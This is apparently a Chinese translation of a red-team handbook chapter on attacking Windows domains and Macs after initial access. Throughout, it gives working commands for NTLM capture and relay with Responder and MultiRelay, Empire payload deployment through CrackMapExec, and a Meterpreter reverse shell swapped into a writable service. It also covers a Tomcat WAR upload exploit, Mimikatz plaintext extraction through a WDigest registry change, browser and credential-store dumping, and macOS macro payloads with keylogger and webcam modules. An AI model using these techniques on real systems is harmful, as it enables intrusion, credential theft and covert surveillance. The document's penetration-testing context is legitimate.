–wrf 现在,因为我们处于 Windows 的企业环境中,我们可以假设它很可能正在运行 Active Directory(活动目录)。因此,如果我们能够响应来自受害者主机的 DNS 查找请求,我们就可以使他们的系统连接到我们的 SMB 共享服务。由于它们正在连接到 \cyberspacekittenssecretdrive 驱动器,因此我们将强制受害者使用他的 NTLMv2 凭证(或缓存的凭证)进行身份验证。我们捕获的这些凭证不是直接的 NTLM 哈希,而是 NTLM 请求/响应哈希(NTLMv2-SSP)。这些哈希表的唯一缺点是,破解它们的速度要比普通的 NTLM 哈希表要慢得多,但是相比于我们要进行的大型凭证爆破动作来说,这不是一个大麻烦。 我们可以获取 NTLMv2哈希,将其传递给本地的 hashcat 程序破解此密码。在 hashcat 中,我们需要指定散列格式 “-m”( https://hashcat.net/wiki/doku.php?id=example_hashes )为 Net-NTLMv2 。 hashcat -m 5600 hashes\ntlmssp_hashes.txt passwordlists/* 现在,假设我们并不是真的想破解哈希,或者我们不介意提醒用户有一些值得可疑的地方。我们所能做的是强制一个基本身份验证弹出窗口,而不是采用 -F(ForceWpadAuth)和 -b(basic auth)的要求使用 Net-NTLMv2凭据。 python ./Responder.py -I eth0 -wfFbv 从上面的图像中可以看到,用户将被提示输入用户名和密码,大多数人只是按部就班的按提示输入。一旦他们提交了他们的用户名和密码,我们将能够捕获他们的密码明文! 更好的 Responder(MultiRelay.py) 使用 Responder 和破解 NTLMv2-SSP 哈希的问题是,破解这些哈希所需的时间可能很长。更糟糕的是,我们所处的环境中的管理员的密码可能是20多个的字符。那么,在这些情况下我们能做什么呢?如果所处环境不强制执行 SMB 签名( 我们可以通过快速的 nmap 脚本扫描找到 - https://nmap.org/nsedoc/scripts/smb-security-mode.html ),我们可以使用一个巧妙的小技巧来重新播放捕获的 SMB 请求。 Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的工具。根据 Laurent 的网站描述,MultiRelay 是一个强大的渗透测试实用程序,包含在响应程序工具的文件夹中,使你能够在选定的目标上执行目标 NTLMv1 和 NTLMv2 中继器。目前已经实现多中继将 HTTP、WebDav、代理和 SMB 身份验证传递给 SMB 服务器。这个工具可以定制为接受一系列用户账户信息来中继到一个目标。这背后的概念是只针对域管理员、本地管理员或特权帐户。”[http://g-laurent.blogspot.com/2016/10/introducing-responder-multiray-10.html] 从较高的层面来看,MultiRelay 不会强制受害者对我们的 SMB 共享进行身份验证,而是将任何含有身份验证的请求转发给我们选择的受害者主机。当然,中继用户需要有另一台机器的访问权限;如果攻击成功,我们不需要处理任何密码和哈希破解。首先,我们需要配置我们的 Responder 和 MultiRelay: 编辑 Responder 配置文件以禁用 SMB 和 HTTP 服务器 编辑 Responder.conf 将 SMB 和 HTTP 更改为 Off 开始 Responder python ./Responder.py -I eth0 -rv 在一个新的终端窗口中启动多中继 /opt/Responder/tools ./MultiRelay.py -t -c -u ALL 一旦可以实现通过中继连接到受害者主机,我们就需要考虑要在受害者的主机上执行什么操作。默认情况下,MultiRelay 可以生成一个比较基础的 shell,但我们也可以自动执行 Meterpreter PowerShell payloads、Empire PowerShell payloads、dnscat2 PowerShell payloads、PowerShell 脚本(用于下载和执行 C2代理)、Mimikatz,或者只是运行 calc.exe 作为测试娱乐。 参考文献 http://threat.tevora.com/quick-tip-skip-cracking-responder-hashes-and-replay-them/ PowerShell Responder 一旦我们攻击进了 Windows 系统,我们就可以在受害者机器上使用 PowerShell 进行 Responder 攻击。原始 Responder 的两个功能都可以通过以下两个工具执行: Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1 Inveigh-Relay 更简单的是,这一切都已经集成在 Empire 中了。 没有凭据的用户枚举 一旦进入了内网中,我们可以使用 Responder 来获得凭证或 shell,但有时也会发现同时启用 SMB 签名和破解 NTLMv2 SSP 是没有实质进展的。那就是我们退一步,从更基础的开始。在不主动扫描网络的情况下,我们需要获得一个用户列表(可能是用于密码爆破,甚至是内网钓鱼)。 一种选择是开始针对域控制器枚举用户。如果是早些时候(回到2003年),我们可以尝试执行 RID 循环来获得所有用户帐户的列表。虽然现在不可用了,但爆破帐户还有其他选择。一种选择就是利用 Kerberos: nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt 我们将需要提供一个要测试的用户名列表,但是由于我们只是查询 DC(域控制器)而没有对其进行身份验证,因此通常此行动不会被检测。现在,我们可以采用这些用户帐户,并再次开始密码猜解! 使用 CrackMapExec(CME)扫描网络 如果我们还没有成功入侵进一个系统,但是我们确实通过 Responder、错误配置的 Web 应用程序、暴力破解或通过打印机获得了登录凭证,那么我们可以尝试扫描网络,看看这个帐户可以登录到哪里。使用像 CrackMapExec(CME)这样的工具进行简单的扫描可以帮助找到内部网络上的初始入口点。 过去,我们使用 CME 扫描网络、通过网络上的 SMB 进行标识/身份验证、对许多主机远程执行命令,甚至通过 Mimikatz 提取明文凭证。Empire 和 CME 都拥有了一些新特性,我们可以利用 Empire 的 REST 特性。在下面的场景中,我们将使用其 REST API 启动 Empire,在 CME 中配置密码,让 CME 连接到 Empire,使用我们拥有的单一凭证扫描网络,最后,如果成功完成身份验证,则自动将 Empire 的 payload 推送到远程受害者的系统。如果你有一个 helpdesk 或高权限帐户,那就准备好加载 Empire shell 吧! 启动 Empire 的 REST API 服务器 cd /opt/Empire ./empire --rest --password ‘hacktheuniverse’ 更改 CrackMapExec 密码 打开 /root/.cme/cme.conf password=hacktheuniverse 运行 CME 来生成 Empire shells cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u ‘’ -p ‘’ -M empire_exec -o LISTENER=http 在攻陷你的第一台机器之后 当你通过社会工程、drop box、Responder、攻击打印机或通过其他攻击获得对主机的访问权限后,下一步要做什么?这是一个非常重要的问题。 在过去,你需要做的一切,是了解你身在何处和周边的网络环境。我们可能首先运行类似于“netstat -ano”的命令来查找受害者的服务器、域和用户的 IP 范围的位置。我们还可以运行命令,如 ps 或 sc queryex type= service state= all | find “_NAME” 列出所有正在运行的服务,并寻找杀毒软件或其他主机基础保护。下面是一些我们最初可能运行的其他示例命令: 网络信息: netstat -anop | findstr LISTEN net group “Domain Admins” /domain 流程列表: tasklist /v 系统主机信息: sysinfo Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\temp\os.txt wmic qfe get Caption,Description,HotFixID,InstalledOn 简单的文件搜索: dir /s password findstr /s /n /i /p foo * findstr /si pass *.txt | *.xml | *.ini 来自共享/挂载驱动器的信息: powershell -Command “get-WmiObject -class Win32_Share” powershell -Command “get-PSDrive” powershell -Command “Get-WmiObject -Class Win32_MappedLogicalDisk | select Name, ProviderName” 让我们现实一点,没有人有时间记住所有的命令,但是我们很幸运!我相信,我相信我们可以在一个名为 RTFM.py 的工具中轻松搜索到这些命令,这是 @leostat 基于 RTFM 书籍(很棒的资源)创建的一个快速查询的 Python 脚本,其中包含大量这些方便的命令。 更新并运行 RTFM cd /opt/rtfm chmod +x rtfm.py ./rtfm.py -u ./rtfm.py -c ‘rtfm’ 搜索所有标签 ./rtfm.py -Dt 查看每个标记的所有查询/命令。我喜欢用的一个是枚举类 ./rtfm.py -t enumeration | more 现在,RTFM 非常广泛,有许多不同的有用命令。这是一个不断快速更新的优秀的资源。 这些都是我们为了获取信息而一直在做的事情,但是如果我们能从环境中获得更多呢?使用 PowerShell,我们可以获得所需的网络和环境信息。任何支持 C2 的工具都能轻松执行 PowerShell ,因此可以使用 Empire、Metasploit 或 Cobalt Strike 来执行这些操作。在下面的例子中,我们将使用 Empire ,你也可以尝试其他工具。 权限提升 从普通用户到高权限帐户有很多不同的方式。 未被引用服务路径: 这是一个相当简单和常见的漏洞,其中服务可执行路径没有被引号括起来。这是很容易被利用的,因为如果路径周围没有引号,我们就会利用当前服务。假设我们有一个服务被配置为执行 C:\Program Files (x86)\Cyber Kittens\Cyber Kittens.exe。如果我们有 CK 文件夹的写入权限,我们可以将其替换为 C:\Program Files (x86)\Cyber Kittens\Cyber.exe(注意,原名称中的 Kittens.exe 消失了)的恶意软件。如果服务在系统上运行,我们可以等到服务重新启动,并让我们的恶意软件作为一个 system 帐户运行。 如何找到易受攻击的服务路径: 通过 wmic 服务获取名称、注意 displayname、pathname、startmode |findstr /i "Auto" |findstr /i /v "C:\Windows" | findstr /i /v """ 寻找 BINARY_PATH_NAME 查找服务中存在的不安全的注册表权限: 识别允许更新服务映像路径位置的弱权限账户 检查 AlwaysInstallElevated 注册表项是否已启用: 检查 AlwaysInstallElevated 注册表项,该注册表项指示.msi 文件应以较高的权限 ( NT AUTHORITY\SYSTEM ) 安装 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/always_install_elevated.rb 请注意,我们并不需要手动完成这些操作,因为别人已经创建了一些好的 metasploit 和 PowerShell 模块,特别是针对 Windows 的模块。在下面的示例中,我们将查看 PowerUp PowerShell 脚本。在这种情况下,脚本与 Empire 一起在所有常见的错误配置区域运行查找,比如允许普通用户获得本地管理或系统帐户。在下面的示例中,我们在受害者系统上运行这个程序,发现它有一些本地系统的未引用服务路径。现在,我们可能无法重新启动服务,但我们应该能够利用这个漏洞,等待服务重启。 Empire PowerUp 模块: usermodule privesc/powerup/allchecks 最突出的是: ServiceName: WavesSysSvc Path: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFile: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFilePermissions: {WriteOwner, Delete, WriteAttributes, Synchronize…} ModifiableFileIdentityReference: Everyone StartName: LocalSystem 看起来任何人都可以编写 WavesSysSyc 服务。这意味着我们可以将 WaveSysSvc64.exe 文件替换为我们自己的恶意二进制文件: 创建一个 Meterpreter 二进制文件(后续的文章将讨论如何绕过杀毒软件) msfvenom -p windows/meterpreter/reverse_https LHOST=[ip] LPORT=8080 -f exe > shell.exe 使用 Empire 上传二进制文件并替换原始二进制文件 upload ./shell.exe C:\users\test\shell.exe shell copy C:\users\test\Desktop\shell.exe “C:\ProgramFiles\Waves\MaxxAudio\WavesSysSvc64.exe” 重新启动服务或等待其重启 一旦服务重新启动,你你应该会收到一个升级为 system 权限的 Meterpreter shell 。使用 PowerUp powershell 脚本,你将发现许多不同的服务都会有权限提升的可能性。如果你想深入了解 Windows 权限提升的底层问题,请查看 FuzzSecurity 的文章:http://www.fuzzysecurity.com/tutorials/16.html 。 对于未打补丁的 Windows 系统,我们确实有一些权限升级攻击,比如:( https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 )和 ( https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135 ),但是我们如何快速识别目标系统上安装了哪些补丁呢,我们可以在受害者系统上使用系统默认自带的命令来查看安装了哪些系统补丁包。Windows 自带默认命令systeminfo 将提取任何给定的 Windows 主机的所有补丁安装历史记录。我们可以拿回这个输出结果,将其复制到我们的 Kali 系统并运行 Windows Exploit Suggester 以查找已知的漏洞然后针对性的进行漏洞利用从而提升权限。 回到你攻击的 Windows 10系统: systeminfo systeminfo > windows.txt 将 windows.txt 复制到你的 Kali 虚拟机的 /opt/Windows-Exploit-Suggester 下 python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls 这个工具已经有一段时间没有被维护了,但是你还是可以轻松地从中寻找到你正需要的能权限提升的漏洞。 如果我们处在一个已经打好所有补丁的 Windows 主机环境中,我们将重点关注第三方软件中的不同权限提升漏洞或操作系统的任何 0day 漏洞。例如,我们一直在寻找下面这样的漏洞 http://bit.ly/2HnX5id ,这是 Windows 中的权限升级漏洞,现在还没有修补。通常在这些场景中,可能会有一些基本的 POC 代码,但是我们需要测试、验证并多次复现这个漏洞。我们经常监控某些领域存在公共特权升级的漏洞: http://insecure.org/search.html?q=privilege%20escalation https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=escalation&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids 通常,这只是时间问题。例如,当发现漏洞时,这可能是你在系统打好补丁之前进一步破坏系统有限的好机会。 权限提升实验 测试并尝试不同类型的权限升级漏洞的最佳实验环境是 Rapid7的 Metasploitable3。这个充满漏洞的框架会自动生成一个 Windows 虚拟机,其中包含所有常见的和不常见的漏洞。配置需要一点时间,但是一旦配置好了虚拟机,它就是一个非常棒的实验环境。 让我们来看一个简单的例子,然后快速开始: 使用 nmap 扫描 Metasploitable3 虚拟机的IP ( 确保全端口扫描免得你错过一些端口 ) 你将看到 ManageEngine 在端口8383上运行 启动 Metasploit 并搜索任何 ManageEngine 有关的漏洞 msfconsole search manageengine use exploit/windows/http/manageengine_connectionid_write set SSL True set RPORT 8383 set RHOST < Your IP> exploit getsystem 你会注意到你不能获得 system 权限,因为你所利用的服务未作为特权进程运行。这时,你能做到的就是尝试所有不同的权限提升攻击。 其中,我们看到的一件事是,Apache Tomcat 是作为特权进程运行的。如果我们可以利用这个服务,我们就可以将我们的 payload 作为更高层次的服务运行。我们看到 Apache Tomcat 在外部网络的8282端口运行,但它需要用户名和密码。因为我们有一个本地低权限的 shell,我们可以尝试在磁盘上搜索这个密码。我们可以在谷歌搜索“Tomcat密码存储在哪里”,搜索结果表明:“tomcat-users.xml”。 在受害者机器中,我们可以搜索和读取 tomcat-users.xml 文件: shell cd \ && dir /s tomcat-users.xml type “C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-users.xml 现在让我们使用找到的密码攻击 Tomcat。首先,登录到8282端口上的 Tomcat 管理控制台,并查看我们的密码是否有效。然后,我们可以使用 Metasploit 通过 Tomcat 部署恶意的 WAR 文件。 search tomcat use exploit/multi/http/tomcat_mgr_upload show options set HTTPusername sploit set HTTPpassword sploit set RPORT 8282 set RHOST < Metasploitable3_IP> set Payload java/shell_reverse_tcp set LHOST < Your IP> exploit whoami 你现在应该是 system 权限了。我们利用第三方的工具(tomcat)来提升权限到 system 权限。 从内存中提取明文凭据 Mimikatz 自推出以来,就改变了在渗透入侵中获取明文密码的方式。在 Windows 10之前,以本地管理员的身份在主机系统上运行 Mimikatz 的话是允许攻击者从 lsass(本地安全机构子系统服务)中提取明文密码的。这种方法在 Windows 10 出现之前非常有效,而在 windows 10 中,即使你是本地管理员,也无法直接读取它。现在,我看到了一些奇怪的现象,其中单点登录( SSO )或者一些特殊的软件会把密码保存在 LSASS 进程中让 Mimikatz 读取,但是我们现在先忽略这个。在这一章中,我们将讨论当这件方法(指 SSO 和特殊的软件)不工作时该做什么(比如在 Windows 10系统中)。 假设你攻击了 Windows 10系统的主机并且提升权限了,默认情况下,你将调整 Mimikatz 的配置,并根据下面的查询查看到密码字段为空。 那么你能做什么呢?最简单的选项是设置注册表项以让系统将密码凭证保存到 LSASS 进程。在 HKLM 中,有一个 UseLogonCredential 设置,如果设置为0,系统将在内存中存储凭据( http://bit.ly/2vhFBiZ ): reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 在 Empire 中,我们可以通过 shell 命令运行: shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 这个注册表修改的问题就是需要用户重新登录到系统。你可以让目标机器屏幕锁屏、重新启动或注销用户,以便你能够捕获然后再次发送凭证文本。最简单的方法是锁定他们的工作机器(这样他们就不会丢失他们的当前的工作...看看我有多好!)。要触发锁屏: rundll32.exe user32.dll,LockWorkStation 一旦我们锁定屏幕,并让它们重新登录,我们就可以重新运行 Mimikatz 来获得明文密码。 如果我们无法提升到本地管理帐户怎么办?我们还有哪些其他方法可以获得用户的凭证?在过去,一个常见的渗透攻击是在客户机的用户空间内存中查看凭据是否以明文形式存储。现在一切都是基于浏览器的,我们能在浏览器中做同样的事情吗? 在这里,putterpanda 将和一个很酷的 POC 工具在一起来完成这个任务,称为 Mimikittenz。Mimikittenz 所做的就是利用 Windows 函数 ReadProcessMemory()来提取来自各种目标进程(如浏览器)的密码,并输出纯文本。 Mimikitten 支持 Gmail,Office365,Outlook Web,Jira,Github,Bugzilla,Zendesk,Cpanel,Dropbox,Microsoft OneDrive,AWS Web 服务、Slack、Twitter 和 Facebook。编写 Mimimikittenz 搜索表达式也很容易。 这个工具最好的地方在于它不需要本地管理员权限,因为他只需要访问那些用户本身创建的进程。一旦我们攻击进了主机,我们将把 Mimimikittenz 导入内存,并运行 Invoke-mimikittenz 脚本。 正如上面所看到的,用户通过 Firefox 登录到 Github 中,我们可以从浏览器内存中提取他们的用户名和密码。现在,我希望这本书的读者都能把这个工具用的越来越高级,为不同的应用程序创建更多的搜索查询。 从 Windows 凭据管理器和浏览器获取密码 Windows 凭据管理器是 Windows 的默认功能,用于保存系统、网站和服务器的用户名、密码和证书。记不记得当你使用 Microsoft IE/EDGE 对网站进行身份验证后,通常会弹出一个弹出窗口,询问“是否要保存密码?”凭证存储就是存储这些信息的地方,在凭据管理器中,有两种类型的凭据:Web 和 Windows。你还记得哪个用户有权访问这些数据吗?它不是 system,而是登录后可以检索此信息的用户。这对我们来说是很好的,就像任何钓鱼网站或代码执行一样,我们通常都可以用别的方法获得那个用户的权限。最好的一点是,我们甚至不需要成为本地管理员来提取这些数据。 如何提取这些信息呢?我们可以使用两种不同的 PowerShell 脚本导入以收集此数据: 收集网络凭据: https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1 收集 Windows 凭证(只收集通用的而不是目标域特有的): https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1 从上图中可以看到,我们提取了他们的 Facebook 存储的凭证和任何他们拥有通用的凭证。记住,对于 Web 凭据,Get-WebCredentials 只能从 Internet Explorer/Edge 获取密码。如果我们需要从 Chrome 获取,我们可以使用 Empire payload 的 powershell/collection/ChromeDump。在获取之前,要运行 ChromeDump 的话,首先需要终止 Chrome 进程,然后运行 ChromeDump,最后,我喜欢拉取下载所有的浏览器历史和 cookies。 我们不仅可以了解他们的内部服务器的大量信息,而且,如果他们的会话仍然存在,我们也可以使用他们的 cookies 和身份验证,而不必知道他们的密码! 使用如下 PowerShell 脚本:https://github.com/sekirkity/browsergather ,我们可以提取所有浏览器 cookies,并通过我们的浏览器利用这些 cookies,但是所有这些 cookies 都没有提升权限的功能。 接下来,我们甚至可以开始在受害者系统上可能安装的所有第三方软件中寻找服务器和凭证。一个叫做 SessionGopher 的工具可以从 winscp、putty、superputty、filezilla 和 microsoft 远程桌面获取主机名和保存密码。还有一个其他功能是能够从网络上的其他系统远程获取它的本地凭据,启动 sessiongopher 的最简单方法是导入 PowerShell 脚本并执行使用: Load PowerShell File: . .\SessionGopher.ps1 Execute SessionGopher Invoke-SessionGopher -Thorough 我们可以通过以下几种方式从主机系统获取凭证,而无需提升权限、绕过 UAC 或使用键盘记录器。因为我们是在用户的系统会话中,所以我们可以访问主机上的许多资源,以帮助我们继续攻击。 从 OSX 获取本地凭证和信息 本书内的大部分横向运动集中在 Windows 上。这是因为几乎所有中大型环境都使用 Active Directory 来管理其系统和主机。我们每年都能看到越来越多的 Mac 电脑,所以希望本书的内容也稍带提及一下 MAC。一旦进入一个 MAC 主机的内网环境,许多攻击就类似于在 Windows 主机环境中的攻击(即扫描默认凭据、Jenkin 等应用程序攻击,嗅探网络,并通过 SSH 或 VNC 横向移动)。 有多个渗透攻击框架的 payload 支持 Mac,我最喜欢的是使用 Empire。Empire 可以生成多个 payload 来诱骗受害者执行我们的代理,其中包括 Ducky scripts、二进制可执行程序、Office 宏、Safari 启动程序、pkg 安装包等等。例如,我们可以创建一个和 Windows 主机适用的 PowerShell Empire 中的 Office 宏: 打开 Empire 首先,确保你能像我们在本书的开头所做的那样设置你的 Empire 监听器 接下来,我们需要构建一个 OSX 宏的 payload use Stager osx/macro 设置要写入本地文件系统的输出文件 set outfile/tmp/mac.py 生成 Payload 如果你查看生成的 Office 宏,你将看到它只是由 Python 执行的 Base64代码。幸运的是,Python 是 Mac 上的默认应用程序,当执行这个宏时,我们应该得到 agent beacon。 要在 Mac 中创建恶意 Exce l文件,我们可以打开一个新的 Excel 工作表,转到“工具”,查看宏,然后在此工作簿中创建宏,一旦 Microsoft Visual Basic 打开,就删除所有当前代码并将其替换为所有新的宏代码。最后,将其保存为 XLSM 文件。 现在,把你的恶意文件发送给你的目标攻击者,看着 Empire 大展神威。在受害者那边,一旦他们打开 Excel 文件,就会出现这样的情况: 确保创建了一个合理的情形,让他们单击“启用宏”。 一旦你的代理连接回你的 Empire 服务器,接下来的操作和侦察阶段就非常相似了。我们需要: 转储浏览器信息和密码: usemodule collection/osx/browser_dump 启用键盘记录器: usemodule collection/osx/keylogger 让应用程序提示获取密码: usemodule collection/osx/prompt 始终打开电脑摄像头拍照: usemodule collection/osx/webcam 利用 Windows 域环境的本地应用程序进行攻击 同样,在下面的示例中,我们将使用 PowerShell Empire。当然,你还可以使用 Metasploit、Cobalt Strike 等类似的攻击框架进行相同的攻击。只要你有能力将 PowerShell 脚本导入内存,并且能够绕过主机系统的任何防护,用什么其实并不重要。 现在的你已经完全空置了受害者的主机,从他们的工作主机偷走了所有的秘密,还了解一些受害者浏览的网站,并运行了一些类似 netstat 的命令进行侦察工作...那接下来是什么? 对于红队队员来说,真正的问题是找到有关服务器、工作站、用户、服务以及他们的 Active Directory 环境的可靠信息。在许多情况下,由于受到网络警报和被抓获的风险,我们无法运行任何漏洞扫描操作,甚至无法运行 NMAP 扫描。那么,我们如何利用网络和服务的“特性”来查找我们需要的所有信息? Service Principal Names(服务主体名称) 服务主体名称(即 SPN)是 Windows 中的一项功能,它允许客户端能够唯一地标识服务的实例。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户关联[https://msdn.microsoft.com/enus/library/ms677949(v=vs.85).aspx] 。例如,你可以在那些运行 MSSQL 服务器、HTTP 服务器、打印服务器和其他服务器的服务帐户找到一个用于服务的 SPN。对于攻击者来说,查询 SPN 是爆破阶段的重要部分。这是因为任何域用户帐户都可以查询与 Active Directory 关联的所有服务帐户和服务器的 AD。我们可以在不扫描单个主机的情况下识别所有数据库服务器和 Web 服务器! 作为一个攻击者,我们可以利用这些“特性”来查询 Active Directory。在任何已经加入域的计算机上,攻击者都可以运行 setspn.exe 文件来查询 Active Directory(AD)。此文件是所有 Windows 机器默认自带的 Windows 二进制文件。 setspn -T [DOMAIN] -F -Q / 功能 -T = 对指定域执行查询 -F = 在 AD 环境而不是域级别环境执行查询 -Q = 在每个目标域或林环境上执行 / = 显示所有 我们可以从 setspn 中看到什么类型的信息?下面,运行 setspn 命令,我们会看到一些在域控制器上运行的服务的信息,还有关于工作站的信息,我们还找到了一个名为 csk-github 的服务器。在这个服务器中,我们可以看到在主机上运行着一个 HTTP 服务。如果这些相同的协议运行在不同的端口上的话,这些信息也会被列出。 setspn 不仅提供有关服务用户和所有主机名的有用信息,它甚至也会告诉我们哪些服务正在系统上什么端口上运行。如果我们可以直接从 AD 中获取服务甚至端口的大部分信息,那为什么我们还需要扫描网络?我们可能马上攻击的东西是什么?Jenkins? Tomcat? ColdFusion? 查询 Active Directory 我不知道曾经有多少次,好不容易找到了一个域用户帐户和密码,却被告知它只是一个没有其他特权的域用户帐户,但不用担心。我们通常可以在打印机,共享信息工作站,带有服务密码的文本文件,配置文件、iPad、包含密码的 Web 应用程序的页面源代码中中找到这些类型的帐户,但是,对于这些没有其他组成员资格的基本域用户帐户,你可以用来做什么? 获取有关 AD 中用户的详细信息 我们可以使用 @harmj0y 创建的名为 PowerView 的工具来帮我们完成所有的复杂的查询操作。PowerView 是一个 PowerShell 脚本,用于在 Windows 域上获得网络拓扑信息。它包含一组纯 PowerShell 命令替换项,用于各种 Windows 系统中的 net命令,这些命令使用 PowerShell AD hooks 和基础的 Win32 API 函数来执行有用的 Windows 域功能[http://bit.ly/2r9lYnH] 。作为攻击者,我们可以使用 AD 中低权限用户普通的域用户来利用 PowerView 和 PowerShell 查询 AD(活动目录),甚至不需要本地管理员权限。 让我们通过一个例子来说明我们可以从这个低权限用户那里获得多少数据。在一开始,我们已经在运行 Empire(你可以在 Metasploit、Cobalt Strike 或类似软件都可以),并在受害者系统上执行了 payload。如果你以前从未建立过 Empire,请查看有关建立 Empire 和 Empire payload 的设置章节。一旦我们的代理(agent)与我们的命令和控制服务器通信,我们就可以键入 info 以查找有关受害者的信息。在本例中,我们已经攻陷了运行完整补丁的 Windows 10系统的主机,该系统的用户名为 neil.pawstrong,位于 CyberspaceKitten 的域中。 接下来,我们希望在不引起太多怀疑和注意的情况下从域中查询信息,我们可以使用 Empire 内部的 PowerView 工具来获取信息。PowerView 查询域控制器(DC)以获取有关用户、用户组、计算机等的信息。我们此次使用 PowerView 将只用来查询域控制器,并且使它看起来像正常通信。 Empire 下有哪些模块可用于信息收集呢? 我们可以从 PowerView 脚本的 get_user 的函数名开始。获取指定域中指定查询用户的信息。通过使用默认设置,我们可以获取有关 AD 中用户的所有信息以及相关信息的转储。 Module: situational_awareness/network/powerview/get_user 在上面的转储文件中,我们可以看到关于其中一个用户 purri gagarin 的信息。我们得到了什么类型的信息?我们可以看到他们的 sAMAccountName 或用户名,当他们的密码被更改时,看到他们的对象类别是什么,他们是什么权限组的成员,最后登录的时间是什么,等等。使用这个基本的用户转储,我们可以从目录服务中获得大量的信息。我们还能得到什么样的信息呢? Module: situational_awareness/network/powerview/get_group_member get-group-member 返回给特定组的成员,并选择“recurse”以查找所有有效的组内成员。我们可以使用 AD 来查找特定组的特定用户。例如,使用以下 Empire 的设置,我们可以搜索属于域管理组的所有域管理员和组: info set Identity “Domain Admins” set Recurse True set FullData True execute 现在,我们有一个用户、组、服务器和服务的收集列表。这将帮助我们了解哪些用户拥有哪些特权。但是,我们仍然需要有关工作站和系统的详细信息。这可能包括版本、创建日期、用途、主机名等。我们可以用一个叫做 get_computer 的模块来获得这些信息。 Module: situational_awareness/network/powerview/get_computer 描述:get_computer 模块可以查询域中当前的计算机对象。 get_computer 查询域控制器可以获得什么信息呢?好吧,我们看到我们可以获得关于机器的信息,比如当它被创建时的 DNS 主机名,自定义名称等等。作为攻击者,最有用的侦察细节之一是获取操作系统类型和操作系统版本。在这种情况下,我们可以看到这个系统是 Windows 10 Build 16299版本。我们可以通过获取这些信息,了解操作系统的最新版本以及它们是否在 Microsoft 的发布信息页上存在修补的补丁:https://technet.microsoft.com/en-us/windows/release-info.aspx 。 Bloodhound/Sharphound 我们如何利用在侦察阶段收集的所有信息来创建一条攻击线路呢?我们如何能够轻松、快速地得知谁有权限去调用那些功能?回想一下,我们总是试图直接攻击,让一切都达到我们想要的目的,但这总是会增加被抓住的可能性。 Andrew Robbins,Rohan Vazarkar 和 Will Schroeder 已经创造了一种最好的工具,那就是 Bloodhound/Sharphound。在他们的 Github 页面上显示。“Bloodhound/Sharphound 使用图表理论来揭示 Active Directory 环境中隐藏的、出乎意料的关系。攻击者红队可以使用 Bloodhound 轻松识别高度复杂的攻击路径,否则的话将无法快速识别。防御者蓝队可以使用 Sharphound 来识别和消除对应的的攻击路径。”[https://github.com/BloodHoundAD/BloodHound] 。 Bloodhound/Sharphound 的工作原理是在受害者系统上运行一个 Ingestor,然后为用户、组和主机查询 AD(类似于我们以前手工做的)。然后,Ingestor 将尝试连接到每个系统以枚举登录的用户、会话和权限。当然,这个动静会很大。对于采用默认设置(可以修改)的中型企业网站,连接到每个主机系统和使用 Sharphound 查询信息的时间可能不到10分钟。注意,因为这会接触到网络上每个加入域的系统,所以它可能会让你被发现。Bloodhound/Sharphound 中有一个秘密选项,它只查询 Active Directory,不连接到每个主机系统,但是输出结果非常有限。 目前有两种不同的版本(我相信旧版本很快就会被移除): 在 Empire,你可以使用模块: usemodule situational_awareness/network/bloodhound 这仍然是查询非常慢的旧的 PowerShell 版本 最好的选择是 Sharphound,Sharphound 是最原始的 C# 版本 Bloodhound Ingester。这是个更快更稳定的版本。可以用作独立二进制文件,也可以作为 PowerShell 脚本导入。Sharphound PowerShell 脚本将使用反射和 assembly.load 加载已编译 BloodHound C# 版本的 ingestor 并将其捕获。 https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors 要运行 Bloodhound/Sharphound Ingestor,你可能需要指定多个集合方法: Group - Collect group membership information 收集组成员身份信息 LocalGroup - Collect local admin information for computers 收集计算机的本地管理信息 Session - Collect session information for computers 收集计算机的会话信息 SessionLoop - Continuously collect session information until killed 持续收集会话信息直到结束 Trusts - Enumerate domain trust data 列举域内信任数据 ACL - Collect ACL (Access Control List) data 收集ACL(访问控制列表)数据 ComputerOnly - Collects Local Admin and Session data 收集本地管理和会话数据 GPOLocalGroup - Collects Local Admin information using GPO (Group Policy Objects) 使用GPO(组策略对象)收集本地管理信息 LoggedOn - Collects session information using privileged methods (needs admin!) 使用特权方法收集会话信息(需要管理员权限!) ObjectProps - Collects node property information for users and computers 为用户和计算机收集节点属性信息 Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts 收集组成员、本地管理员、会话和域信任关系 在目标系统上运行 Blood/Sharphound: 运行 PowerShell,然后导入 Bloodhound.ps1 或者 SharpHound.ps1: Invoke-Bloodhound -CollectionMethod Default Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default-CompressData -RemoveCSV -NoSaveCache 运行可执行文件: SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group 一旦完成了 Bloundhound/Sharphound,这四个文件将被保存到受害者机器上。下载并处理这些文件,并将它们复制到你的 kali 上。接下来,我们需要启动 Neo4j 服务器并导入这些数据来构建相关关系图。 打开 Bloodhound apt-get install bloodhound neo4j console 打开浏览器访问 http://localhost:7474 连接到 bolt://localhost:7687 用户名: neo4j 密码: neo4j 修改密码 在一个终端中运行 Bloodhound: bloodhound 数据库 URL: bolt://127.0.0.1:7687 用户名: neo4j 密码:新的密码 加载数据 